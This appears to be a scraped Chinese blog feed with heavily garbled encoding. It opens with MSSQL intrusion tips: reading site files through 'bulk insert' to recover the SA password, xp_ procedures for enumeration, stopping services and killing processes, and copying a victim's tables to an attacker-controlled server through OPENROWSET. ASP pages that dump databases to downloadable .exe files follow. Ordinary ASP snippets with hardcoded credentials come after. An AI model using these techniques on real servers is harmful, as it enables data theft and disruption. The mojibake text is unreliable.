?   使用'bulk insert'语法可以一个文本文件插入到一个时表中。如Qbulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'   览temp可以看到index.asp文g的内容了Q通过分析各种ASP文gQ可以得到大量系l信息,WEB与管理信息,甚至可以得到SA帐号的连接密码?br />
31、一些sql中的扩展存储的ȝ:
xp_availablemedia 昄pȝ上可用的盘符'C:\' xp_availablemedia
xp_enumgroups 列出当前pȝ的用群l及其说?xp_enumgroups
xp_enumdsn 列出pȝ上已l设|好的ODBC数据源名U?xp_enumdsn
xp_dirtree 昄某个目录下的子目录与文g架构 xp_dirtree 'C:\inetpub\wwwroot\'
xp_getfiledetails 获取某文件的相关属?xp_getfiledetails 'C:\inetpub\wwwroot.asp'
dbp.xp_makecab 目标计机多个案压羃到某个档案里所压羃的案都可以接在参数的后面用豆号隔开 dbp.xp_makecab 'C:\lin.cab','evil',1,'C:\inetpub\mdb.asp'
xp_unpackcab 解压~?xp_unpackcab 'C:\hackway.cab','C:\temp',1
xp_ntsec_enumdomains 列出服务器域?xp_ntsec_enumdomains
xp_servicecontrol 停止或者启动某个服?xp_servicecontrol 'stop','schedule'
xp_terminate_process 用pid来停止某个执行中的程?xp_terminate_process 123
dbo.xp_subdirs 只列某个目录下的子目?dbo.xp_subdirs 'C:\'

32?br />USE MASTER
GO
CREATE proc sp_MSforeachObject
@objectType int=1,
@command1 nvarchar(2000),
@replacechar nchar(1) = N'?',
@command2 nvarchar(2000) = null,
@command3 nvarchar(2000) = null,
@whereand nvarchar(2000) = null,
@precommand nvarchar(2000) = null,
@postcommand nvarchar(2000) = null
as
/* This proc returns one or more rows for each table (optionally, matching @where), with each table defaulting to its
own result set */
/* @precommand and @postcommand may be used to force a single result set via a temp table. */
/* Preprocessor won't replace within quotes so have to use str(). */
declare @mscat nvarchar(12)
select @mscat = ltrim(str(convert(int, 0x0002)))
if (@precommand is not null)
exec(@precommand)
/* Defined @isobject for save object type */
Declare @isobject varchar(256)
select @isobject= case @objectType when 1 then 'IsUserTable'
when 2 then 'IsView'
when 3 then 'IsTrigger'
when 4 then 'IsProcedure'
when 5 then 'IsDefault'
when 6 then 'IsForeignKey'
when 7 then 'IsScalarFunction'
when 8 then 'IsInlineFunction'
when 9 then 'IsPrimaryKey'
when 10 then 'IsExtendedProc'
when 11 then 'IsReplProc'
when 12 then 'IsRule'
    end
/* Create the select */
/* Use @isobject variable isstead of IsUserTable string */
EXEC(N'declare hCForEach cursor global for select ''['' + REPLACE(user_name(uid), N'']'', N'']]'') + '']'' + ''.'' + ''['' +
REPLACE(object_name(id), N'']'', N'']]'') + '']'' from dbo.sysobjects o '
+ N' where OBJECTPROPERTY(o.id, N'''+@isobject+''') = 1 '+N' and o.category & ' + @mscat + N' = 0 '
+ @whereand)
declare @retval int
select @retval = @@error
if (@retval = 0)
    exec @retval = sp_MSforeach_worker @command1, @replacechar, @command2, @command3
if (@retval = 0 and @postcommand is not null)
    exec(@postcommand)
return @retval
GO


/*
1。获得所有的存储q程的脚本:
EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=4
2。获得所有的视图的脚本:
EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=2

EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=1
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=2
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=3
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=4
*/

33、DB_OWNER权限下的数据库备份方?br />用openrowset吧。反q到自己的数据库机器Q~先在本地Z跟目标机器一L构的表~字段cd使用nvarchar.然后用vz连接对方的SQL数据库,在查询分析那里执?br />insert into OPENROWSET ('sqloledb','server=你数据库服务器的IP;uid=user;pwd=pass;database=dbname;','select * from 你徏立的? select * from Ҏ的表?br />要是数据量太大的话就看看他数据库里有没有自动~号的字D?select * from 表名 where id>100
q样来弄?br />要是和WEB同台的话Q直接将库BAK到WEB目录下回来就OK啦。。。不q前提库不能太大Q超q?G的话SQLp时了
如果是SA权限可以利用下面的两个ASPE序来备份数据库Q?br />
sqlbackup1.asp
<HTML>
<HEAD>
<TITLE>SQL Server 数据库的备䆾与恢?lt;/TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</HEAD>
<BODY>
<form method="post" name=myform>
选择操作Q?lt;INPUT TYPE="radio" NAME="act" id="act_backup" value="backup"><label for=act_backup>备䆾</label> 
<INPUT TYPE="radio" NAME="act" id="act_restore" value="restore"><label for=act_restore>恢复</label>
<br>数据库名Q?lt;INPUT TYPE="text" NAME="databasename" value="<%=request("databasename")%>">
<br>文g路径Q?lt;INPUT TYPE="text" NAME="bak_file" value="c:\1.exe">(备䆾或恢复的文g路径,备䆾成EXE主要Z方便下蝲,zL..)<br>
<input type="submit" value="定">
</form>
<%
dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act
sqlserver = "localhost" 'sql服务?br />sqlname = "sa" '用户?br />sqlpassword = "数据库密? '密码
sqlLoginTimeout = 15 '登陆时
databasename = trim(request("databasename"))
bak_file = trim(request("bak_file"))
bak_file = replace(bak_file,"$1",databasename)
act = lcase(request("act"))
if databasename = "" then
response.write "input database name"
else
if act = "backup" then
Set srv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set bak = Server.CreateObject("SQLDMO.Backup")
bak.Database=databasename
bak.Devices=Files
bak.Files=bak_file
bak.SQLBackup srv
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.description&"</font>"
end if
Response.write "<font color=green>备䆾成功!</font>"
elseif act = "restore" then
'恢复时要在没有用数据库时进行!
Set srv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set rest=Server.CreateObject("SQLDMO.Restore")
rest.Action=0 ' full db restore
rest.Database=databasename
rest.Devices=Files
rest.Files=bak_file
rest.ReplaceDatabase=True 'Force restore over existing database
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.description&"</font>"
end if
rest.SQLRestore srv

Response.write "<font color=green>恢复成功!</font>"
else
Response.write "<font color=red>没有选择操作</font>"
end if
end if
%>
</BODY>
</HTML>

sqlbackup2.asp
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>采飞扬ASP备䆾MSSQL数据库程?V1.0--QQ:79998575</title>
</head>
<style>
BODY {   FONT-SIZE: 9pt;   COLOR: #000000;   FONT-FAMILY: "Courier New";   scrollbar-face-color:#E4E4F3;   scrollbar-highlight-color:#FFFFFF;   scrollbar-3dlight-color:#E4E4F3;   scrollbar-darkshadow-color:#9C9CD3;   scrollbar-shadow-color:#E4E4F3;   scrollbar-arrow-color:#4444B3;   scrollbar-track-color:#EFEFEF;}TABLE {   FONT-SIZE: 9pt;   FONT-FAMILY: "Courier New";   BORDER-COLLAPSE: collapse;   border-top-width: 1px;   border-right-width: 1px;   border-bottom-width: 1px;   border-left-width: 1px;   border-top-style: solid;   border-right-style: none;   border-bottom-style: none;   border-left-style: solid;   border-top-color: #d8d8f0;   border-right-color: #d8d8f0;   border-bottom-color: #d8d8f0;   border-left-color: #d8d8f0;}.tr {   font-family: "Courier New";   font-size: 9pt;   background-color: #e4e4f3;   text-align: center;}.td {   font-family: "Courier New";   font-size: 9pt;   background-color: #f9f9fd;}.warningColor {   font-family: "Courier New";   font-size: 9pt;   color: #ff0000;}input {
font-family: "Courier New";
BORDER-TOP-WIDTH: 1px;
BORDER-LEFT-WIDTH: 1px;
FONT-SIZE: 12px;
BORDER-BOTTOM-WIDTH: 1px;
BORDER-RIGHT-WIDTH: 1px;
color: #000000;
}textarea {   font-family: "Courier New";   BORDER-TOP-WIDTH: 1px;   BORDER-LEFT-WIDTH: 1px;   FONT-SIZE: 12px;   BORDER-BOTTOM-WIDTH: 1px;   BORDER-RIGHT-WIDTH: 1px;   color: #000000;}.liuyes {
background-color: #CCCCFF;
}
A:link {   FONT-SIZE: 9pt;   COLOR: #000000;   FONT-FAMILY: "Courier New";   TEXT-DECORATION: none;}tr {   font-family: "Courier New";   font-size: 9pt;   line-height: 18px;}td {   font-family: "Courier New";   font-size: 9pt;   border-top-width: 1px;   border-right-width: 1px;   border-bottom-width: 1px;   border-left-width: 1px;   border-top-style: none;   border-right-style: solid;   border-bottom-style: solid;   border-left-style: none;   border-top-color: #d8d8f0;   border-right-color: #d8d8f0;   border-bottom-color: #d8d8f0;   border-left-color: #d8d8f0;}.trHead {   font-family: "Courier New";   font-size: 9pt;   background-color: #e4e4f3;   line-height: 3px;}.inputLogin {   font-family: "Courier New";   font-size: 9pt;   border: 1px solid #d8d8f0;   background-color: #f9f9fd;   vertical-align: bottom;}</style>
<body>
<form method="post" name="myform" action="?action=backupdatabase">
<table width="686" border="1" align="center">
<tr>
<td width="613" height="30" align="center" bgcolor="#330066"><font color="#FFFFFF">采飞扬ASP备䆾MSSQL数据库程?V1.0 </font></td>
</tr>
<tr>
<td>选择操作Q?br />  <input type="radio" name="act" id="act_backup"value="backup" />
  <label for=act_backup>备䆾</label>
  <input type="radio" name="act" id="act_restore" value="restore" />
  <label for=act_restore>恢复</label></td>
</tr>
<tr>
<td><label>SQL服务?
  <input type="text" name="sqlserver" value="localhost" />
</label></td>
</tr>
<tr>
<td><label>用户?
  <input name="sqlname" type="text" value="sa" />
??
<input type="text" name="sqlpassword" />
</label></td>
</tr>
<tr>
<td><label>数据库名Q?br />  <input type="text" name="databasename" value="<%=request("databasename")%>" />
</label></td>
</tr>
<tr>
<td>文g路径Q?br />  <input name="bak_file" type="text" value="<% =server.MapPath("\")&"\"&"liuyes.bak"%>" size="60" />
(备䆾或恢复的文g路径)</td>
</tr>
<tr>
<td><% Response.write "本文件绝对\?" %>
  <font color="#FF0000">
  <% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
  </font></td>
</tr>
<tr>
<td><input name=submit1 type="submit" class="liuyes" id=submit1 size="10" value="?? />
    <input name="Submit" type="reset" class="liuyes" size="10" value="?|? /></td>
</tr>
</table>
</form>
<table width="686" border="1" align="center">
<tr>
<td>提示信息:<%
if request("action")="" then  
response.write "<font color=#ff0000>不用我多说什么了吧!</font>"
end if
'SQL Server 数据库的备䆾与恢?
if request("action")="backupdatabase" Then
dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act
sqlserver = trim(request("sqlserver"))
sqlname = trim(request("sqlname"))
sqlpassword =trim(request("sqlpassword"))
sqlLoginTimeout = 15
databasename = trim(request("databasename"))
bak_file = trim(request("bak_file"))
bak_file = replace(bak_file,"$1",databasename)
act = lcase(request("act"))
if databasename = "" then
response.write "<font color=#ff0000>没有输入数据库名U?</font>"
else
if act = "backup" then
Set srv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set bak = Server.CreateObject("SQLDMO.Backup")
bak.Database=databasename
bak.Devices=Files
bak.Action   = 0
bak.Initialize   = 1
'bak.Replace   = True
bak.Files=bak_file
bak.SQLBackup srv
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.description&"</font>"
end if
Response.write "<font color=green>备䆾成功!</font>"
elseif act="restore" then
'恢复时要在没有用数据库时进行!
Set srv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set rest=Server.CreateObject("SQLDMO.Restore")
rest.Action=0 ' full db restore
rest.Database=databasename
rest.Devices=Files
rest.Files=bak_file
rest.ReplaceDatabase=True 'Force restore over existing database
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.description&"</font>"
end if
rest.SQLRestore srv
Response.write "<font color=green>恢复成功!</font>"
else
Response.write "<font color=red>请选择备䆾或恢?</font>"
end if
end if
end if
%></td>
</tr>
</table>
</body>
</html>


fly 2007-03-10 20:44 发表评论
]]>
一个比较好的连接数据库例子http://www.tkk7.com/jlin/articles/63137.htmlflyflySat, 12 Aug 2006 02:47:00 GMThttp://www.tkk7.com/jlin/articles/63137.htmlhttp://www.tkk7.com/jlin/comments/63137.htmlhttp://www.tkk7.com/jlin/articles/63137.html#Feedback0http://www.tkk7.com/jlin/comments/commentRss/63137.htmlhttp://www.tkk7.com/jlin/services/trackbacks/63137.html<%
Option Explicit
Server.ScriptTimeOut=90    '脚本时旉(单位:U?
Response.Expires=-1

'以下部分勿动
Dim SQL,Rs,Conn

Sub DataConn()'本地数据?br />   On Error Resume Next
 Dim strConn
    Set Conn = Server.Createobject("Adodb.Connection")
 strConn = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=127.0.0.1;User ID=sa;Password=sa ;Database=test;"
 
    Conn.Open strConn
        If Err Then
  err.Clear
  Set Conn = Nothing
  Response.Write "数据库连接出错,h查连接字丌Ӏ?
  Response.End
 End If
End Sub

'以下代码是用来关闭数据库q接?br />Sub DataClose()
 If IsObject(Conn) Then
  Conn.Close
  Set Conn=Nothing
 End If
End Sub
%>
把以上代码做成一个const.asp文g,以后哪个文g要用到的时候用
<!--#include file="const.asp"-->包含q来卛_
然后调用,DataConn(),卛_打开数据库了
后用DataClose()关闭数据?br />



fly 2006-08-12 10:47 发表评论
]]>
整理了一些ASP初学者常用的代码http://www.tkk7.com/jlin/articles/62906.htmlflyflyFri, 11 Aug 2006 00:47:00 GMThttp://www.tkk7.com/jlin/articles/62906.htmlhttp://www.tkk7.com/jlin/comments/62906.htmlhttp://www.tkk7.com/jlin/articles/62906.html#Feedback0http://www.tkk7.com/jlin/comments/commentRss/62906.htmlhttp://www.tkk7.com/jlin/services/trackbacks/62906.html<%=now()%>
2.取得来访用的IP:
<%=request.serverVariables("remote_host")%>
3.获得pȝ,览器版?
<script>
window.document.write("版本Q?+navigator.appName+navigator.appVersion+" browser.")
</script>
4.去除IE混动?
<body scroll="no"> 
<body style="overflow-y:hidden">
5.q入|站,跛_q告:
<script language="javascript">
<!-- 
<!-- 注意更改文g所在\?->
window.open(''http://www.XXXXXX.com&#39;','''',''height=200,width=300,top=0,left=30'');
// -->
</script>
6.随机?
<%randomize%>
<%=(int(rnd()*n)+1)%>
N为可改变?br />7.向上混动代码:
<marquee direction="up" scrolldelay="200" style="font-size: 9pt; color: #FF0000; line-height: 150%; font-style:italic; font-weight:bold" scrollamount="2" width="206" height="207" bgcolor="#FFFF00">hhhhhhhhhhhhhhhhhhh</marquee>
8.自动关闭|页:
<script LANGUAGE="javascript">
<!--
setTimeout(''window.close();'', 10000); //60U后关闭
// -->
</script>
<p align="center">本页10U后自动关闭,h意刷新页?lt;/p>
9.随机背景音乐:
<%randomize%>
<bgsound src="mids/<%=(int(rnd()*60)+1)%>.mid" loop="-1"> 

可以修改数字Q限制调用个敎ͼ我这里是Q0个.
10.自动h本页?
<script> 
<!--  

var limit="0:10"  

if (document.images){ 
var parselimit=limit.split(":") 
parselimit=parselimit *60+parselimit *1 

function beginrefresh(){ 
if (!document.images) 
return 
if (parselimit==1) 
window.location.reload() 
else{ 
parselimit-=1 
curmin=Math.floor(parselimit/60) 
cursec=parselimit%60 
if (curmin!=0) 
curtime=curmin+"?+cursec+"U后重刷本页Q? 
else 
curtime=cursec+"U后重刷本页Q? 
window.status=curtime 
setTimeout("beginrefresh()",1000) 

}  

window.onload=beginrefresh 
file://--> 
</script>
11.ACCESS数据库连?
<%
option explicit
dim startime,endtime,conn,connstr,db
startime=timer()
'更改数据库名?br />db="data/dvBBS5.mdb"
Set conn = Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
'如果你的服务器采用较老版本Access驱动Q请用下面连接方?br />'connstr="driver={Microsoft Access Driver (*.mdb)};dbq=" & Server.MapPath(db)
conn.Open connstr
function CloseDatabase
Conn.close
Set conn = Nothing
End Function
%>
12.SQL数据库连?
<%
option explicit
dim startime,endtime,conn,connstr,db
startime=timer()
connstr="driver={SQL Server};server=HUDENQ-N11T33NB;uid=sa;pwd=xsfeihu;database=dvbbs" 
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open connstr
function CloseDatabase
Conn.close
Set conn = Nothing
End Function
%>


<%
Response.Buffer = True
On Error Resume Next
Set conn = Server.CreateObject("ADODB.Connection")
strCon = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=218.84.205.199;User ID=GD;Password=ABCD;Database=gddb;"
conn.Open strCon
If Err Then
err.Clear
Set Conn = Nothing
Response.Write "数据库连接出错,h查连接字丌Ӏ?
Response.End
End If
function CloseDatabase
Conn.close
Set conn = Nothing
End Function
%> 


13.用键盘打开|页代码:
<script language="javascript">
function ctlent(eventobject)
{
if((event.ctrlKey && window.event.keyCode==13)||(event.altKey && window.event.keyCode==83))
{
window.open('|址','','')
}
}
</script> 

q里是Ctrl+Enter和Alt+S的代码 自己查下键盘的ASCII码再换就?br />14.让层不被控g复盖代码:
<div z-Index:2><object ***></object></div> Q 前面?br /><div z-Index:1><object ***></object></div> Q 后面?br /><div id="Layer2" style="position:absolute; top:40;width:400px; height:95px;z-index:2"><table height=100% width=100% bgcolor="#ff0000"><tr><td height=100% width=100%></td></tr></table><iframe width=0 height=0></iframe></div>
<div id="Layer1" style="position:absolute; top:50;width:200px; height:115px;z-index:1"><iframe height=100% width=100%></iframe></div>
15.动网FLASHq告代码:
<object classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/sho...h/swflash.cab#version=5 ,0,0,0" width="468" height="60"><param name=movie value="images/yj16d.swf"><param name=quality value=high><embed src="images/dvbanner.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"; ... uot;60"></embed></object> 
16.VBS弹出H口代?
<script language=vbscript>
msgbox"你还没有注册或登陆论?,"0","_֓论坛"
location.href = "login.asp"
</script>
16.使用FSO修改文g特定内容的函?br />function FSOchange(filename,Target,String)
Dim objFSO,objCountFile,FiletempData
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objCountFile = objFSO.OpenTextFile(Server.MapPath(filename),1,True)
FiletempData = objCountFile.ReadAll
objCountFile.Close
FiletempData=Replace(FiletempData,Target,String)
Set objCountFile=objFSO.CreateTextFile(Server.MapPath(filename),True)
objCountFile.Write FiletempData 
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing
End Function
17.使用FSOd文g内容的函?br />function FSOFileRead(filename)
Dim objFSO,objCountFile,FiletempData
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objCountFile = objFSO.OpenTextFile(Server.MapPath(filename),1,True)
FSOFileRead = objCountFile.ReadAll
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing
End Function
18.使用FSOd文g某一行的函数
function FSOlinedit(filename,lineNum)
if linenum < 1 then exit function
dim fso,f,temparray,tempcnt
set fso = server.CreateObject("scripting.filesystemobject")
if not fso.fileExists(server.mappath(filename)) then exit function
set f = fso.opentextfile(server.mappath(filename),1)
if not f.AtEndofStream then
tempcnt = f.readall
f.close
set f = nothing
temparray = split(tempcnt,chr(13)&chr(10))
if lineNum>ubound(temparray)+1 then
exit function
else
FSOlinedit = temparray(lineNum-1)
end if
end if
end function
19.使用FSO写文件某一行的函数
function FSOlinewrite(filename,lineNum,Linecontent)
if linenum < 1 then exit function
dim fso,f,temparray,tempCnt
set fso = server.CreateObject("scripting.filesystemobject")
if not fso.fileExists(server.mappath(filename)) then exit function
set f = fso.opentextfile(server.mappath(filename),1)
if not f.AtEndofStream then
tempcnt = f.readall
f.close
temparray = split(tempcnt,chr(13)&chr(10))
if lineNum>ubound(temparray)+1 then
exit function
else
temparray(lineNum-1) = lineContent
end if
tempcnt = join(temparray,chr(13)&chr(10))
set f = fso.createtextfile(server.mappath(filename),true)
f.write tempcnt
end if
f.close
set f = nothing
end function
20.使用FSOd文g新行的函?br />function FSOappline(filename,Linecontent)
dim fso,f
set fso = server.CreateObject("scripting.filesystemobject")
if not fso.fileExists(server.mappath(filename)) then exit function
set f = fso.opentextfile(server.mappath(filename),8,1)
f.write chr(13)&chr(10)&Linecontent
f.close
set f = nothing
end function
21.L件最后一行的函数
function FSOlastline(filename)
dim fso,f,temparray,tempcnt
set fso = server.CreateObject("scripting.filesystemobject")
if not fso.fileExists(server.mappath(filename)) then exit function
set f = fso.opentextfile(server.mappath(filename),1)
if not f.AtEndofStream then
tempcnt = f.readall
f.close
set f = nothing
temparray = split(tempcnt,chr(13)&chr(10))
FSOlastline = temparray(ubound(temparray))
end if
end function
利用FSO取得BMPQJPGQPNGQGIF文g信息(大小Q宽、高{?
<%
'::: BMP, GIF, JPG and PNG ::: 

'::: This function gets a specified number of bytes from any :::
'::: file, starting at the offset (base 1) :::
'::: :::
'::: Passed: :::
'::: flnm => Filespec of file to read :::
'::: offset => Offset at which to start reading :::
'::: bytes => How many bytes to read :::
'::: :::
':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
function GetBytes(flnm, offset, bytes)
Dim objFSO
Dim objFTemp
Dim objTextStream
Dim lngSize
on error resume next
Set objFSO = CreateObject("Scripting.FileSystemObject") 

' First, we get the filesize
Set objFTemp = objFSO.GetFile(flnm)
lngSize = objFTemp.Size
set objFTemp = nothing
fsoForReading = 1
Set objTextStream = objFSO.OpenTextFile(flnm, fsoForReading)
if offset > 0 then
strBuff = objTextStream.Read(offset - 1)
end if
if bytes = -1 then ' Get All!
GetBytes = objTextStream.Read(lngSize) 'ReadAll
else
GetBytes = objTextStream.Read(bytes)
end if
objTextStream.Close
set objTextStream = nothing
set objFSO = nothing
end function 

':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
'::: :::
'::: Functions to convert two bytes to a numeric value (long) :::
'::: (both little-endian and big-endian) :::
'::: :::
':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
function lngConvert(strTemp)
lngConvert = clng(asc(left(strTemp, 1)) + ((asc(right(strTemp, 1)) * 256)))
end function
function lngConvert2(strTemp)
lngConvert2 = clng(asc(right(strTemp, 1)) + ((asc(left(strTemp, 1)) * 256)))
end function 

':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
'::: :::
'::: This function does most of the real work. It will attempt :::
'::: to read any file, regardless of the extension, and will :::
'::: identify if it is a graphical image. :::
'::: :::
'::: Passed: :::
'::: flnm => Filespec of file to read :::
'::: width => width of image :::
'::: height => height of image :::
'::: depth => color depth (in number of colors) :::
'::: strImageType=> type of image (e.g. GIF, BMP, etc.) :::
'::: :::
':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
function gfxSpex(flnm, width, height, depth, strImageType)
dim strPNG 
dim strGIF
dim strBMP
dim strType
strType = ""
strImageType = "(unknown)"
gfxSpex = False
strPNG = chr(137) & chr(80) & chr(78)
strGIF = "GIF"
strBMP = chr(66) & chr(77)
strType = GetBytes(flnm, 0, 3)
if strType = strGIF then ' is GIF
strImageType = "GIF"
Width = lngConvert(GetBytes(flnm, 7, 2))
Height = lngConvert(GetBytes(flnm, 9, 2))
Depth = 2 ^ ((asc(GetBytes(flnm, 11, 1)) and 7) + 1)
gfxSpex = True
elseif left(strType, 2) = strBMP then ' is BMP
strImageType = "BMP"
Width = lngConvert(GetBytes(flnm, 19, 2))
Height = lngConvert(GetBytes(flnm, 23, 2))
Depth = 2 ^ (asc(GetBytes(flnm, 29, 1)))
gfxSpex = True
elseif strType = strPNG then ' Is PNG
strImageType = "PNG"
Width = lngConvert2(GetBytes(flnm, 19, 2))
Height = lngConvert2(GetBytes(flnm, 23, 2))
Depth = getBytes(flnm, 25, 2)
select case asc(right(Depth,1))
case 0
Depth = 2 ^ (asc(left(Depth, 1)))
gfxSpex = True
case 2
Depth = 2 ^ (asc(left(Depth, 1)) * 3)
gfxSpex = True
case 3
Depth = 2 ^ (asc(left(Depth, 1))) '8
gfxSpex = True
case 4
Depth = 2 ^ (asc(left(Depth, 1)) * 2)
gfxSpex = True
case 6
Depth = 2 ^ (asc(left(Depth, 1)) * 4)
gfxSpex = True
case else
Depth = -1
end select 

else
strBuff = GetBytes(flnm, 0, -1) ' Get all bytes from file
lngSize = len(strBuff)
flgFound = 0
strTarget = chr(255) & chr(216) & chr(255)
flgFound = instr(strBuff, strTarget)
if flgFound = 0 then
exit function
end if
strImageType = "JPG"
lngPos = flgFound + 2
ExitLoop = false
do while ExitLoop = False and lngPos < lngSize 

do while asc(mid(strBuff, lngPos, 1)) = 255 and lngPos < lngSize
lngPos = lngPos + 1
loop
if asc(mid(strBuff, lngPos, 1)) < 192 or asc(mid(strBuff, lngPos, 1)) > 195 then
lngMarkerSize = lngConvert2(mid(strBuff, lngPos + 1, 2))
lngPos = lngPos + lngMarkerSize + 1
else
ExitLoop = True
end if
loop
'
if ExitLoop = False then
Width = -1
Height = -1
Depth = -1
else
Height = lngConvert2(mid(strBuff, lngPos + 4, 2))
Width = lngConvert2(mid(strBuff, lngPos + 6, 2))
Depth = 2 ^ (asc(mid(strBuff, lngPos + 8, 1)) * 8)
gfxSpex = True
end if 

end if
end function 

':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
'::: Test Harness :::
'::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 

' To test, we'll just try to show all files with a .GIF extension in the root of C:
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objF = objFSO.GetFolder("c:\")
Set objFC = objF.Files
response.write "<table border=""0"" cellpadding=""5"">"
For Each f1 in objFC
if instr(ucase(f1.Name), ".GIF") then
response.write "<tr><td>" & f1.name & "</td><td>" & f1.DateCreated & "</td><td>" & f1.Size & "</td><td>"
if gfxSpex(f1.Path, w, h, c, strType) = true then
response.write w & " x " & h & " " & c & " colors"
else
response.write " "
end if
response.write "</td></tr>"
end if
Next
response.write "</table>"
set objFC = nothing
set objF = nothing
set objFSO = nothing 

%>
24.点击q回上页代码:
<form>
<p><input TYPE="button" value="q回上一? onCLICK="history.back(-1)"></p>
</form>
24.点击h代码:
<form>
<p><input TYPE="button" value="h按钮一" onCLICK="ReloadButton()"></p>
</form>
<script language="javascript"><!--
function ReloadButton(){location.href="allbutton.htm";}
// --></script> 

24.点击h代码2:
<form>
<p><input TYPE="button" value="h按钮? onClick="history.go(0)"> </p>
</form> 

<form>
<p><input TYPE="button" value="打开一个网? onCLICK="HomeButton()"></p>
</form>
<script language="javascript"><!--
function HomeButton(){location.href="http://nettrain.126.com";;; }
// --></script> 

25.弹出警告框代?
<form>
<p><input TYPE="button" value="弹出警告? onCLICK="AlertButton()"></p>
</form>
<script language="javascript"><!--
function AlertButton(){window.alert("要多多光临呀Q?);}
// --></script> 

26.状态栏信息
<form>
<p><input TYPE="button" value="状态栏信息" onCLICK="StatusButton()"></p>
</form>
<script language="javascript"><!--
function StatusButton(){window.status="要多多光临呀Q?;}
// --></script> 

27.背景色变?br /><form>
<p><input TYPE="button" value="背景色变? onClick="BgButton()"></p>
</form>
<script>function BgButton(){
if (document.bgColor=='#00ffff')
{document.bgColor='#ffffff';}
else{document.bgColor='#00ffff';}
}
</script> 

28.点击打开新窗?br /><form>
<p><input TYPE="button" value="打开新窗? onCLICK="NewWindow()"></p>
</form>
<script language="javascript"><!--
function NewWindow(){window.open("http://www.mcmx.com";; ,"","height=240,width=340,status=no,location=no,toolbar=no,directories=no,menubar=no");}
// --></script></body>
29.分页代码:
<%''本程序文件名为:Pages.asp%>
<%''包含ADO帔R表文件adovbs.incQ可?\Program Files\Common Files\System\ADO"目录下拷?>
<!--#Include File="adovbs.inc"-->
<%''Q徏立数据库q接Q这里是Oracle8.05数据?br />Set conn=Server.CreateObject("ADODB.Connection") 
conn.Open "Provider=msdaora.1;Data Source=YourSrcName;User ID=YourUserID;Password=YourPassword;"  

Set rs=Server.CreateObject("ADODB.Recordset") ''创徏Recordset对象
rs.CursorLocation=adUseClient ''讑֮记录集指针属?br />''Q设定一内的记录LQ可Ҏ需要进行调敾b?br />rs.PageSize=10  

''Q设|查询语句?br />StrSQL="Select ID,姓名,住址,电话 from 通讯录 Order By ID" 
rs.Open StrSQL,conn,adOpenStatic,adLockReadOnly,adCmdText
%>
<HTML>
<HEAD>
<title>分页CZ</title>
<script language=javascript>
//点击"[W一]"时响应:
function PageFirst()

document.MyForm.CurrentPage.selectedIndex=0;
document.MyForm.CurrentPage.onchange();
}
//点击"[上一]"时响应:
function PagePrior()

document.MyForm.CurrentPage.selectedIndex--;
document.MyForm.CurrentPage.onchange();
}
//点击"[下一]"时响应:
function PageNext()

document.MyForm.CurrentPage.selectedIndex++;
document.MyForm.CurrentPage.onchange(); 
}
//点击"[最后一]"时响应:
function PageLast()

document.MyForm.CurrentPage.selectedIndex=document.MyForm.CurrentPage.length-1;
document.MyForm.CurrentPage.onchange();
}
//选择"W??时响应:
function PageCurrent()
{ //Pages.asp是本E序的文件名
document.MyForm.action='Pages.asp?Page='+(document.MyForm.CurrentPage.selectedIndex+1)
document.MyForm.submit();

</Script>
</HEAD>
<BODY bgcolor="#ffffcc" link="#008000" vlink="#008000" alink="#FF0000""> 

<%IF rs.Eof THEN
Response.Write("<font size=2 color=#000080>[数据库中没有记录Q]</font>")
ELSE 
''指定当前늠
If Request("CurrentPage")="" Then
rs.AbsolutePage=1
Else
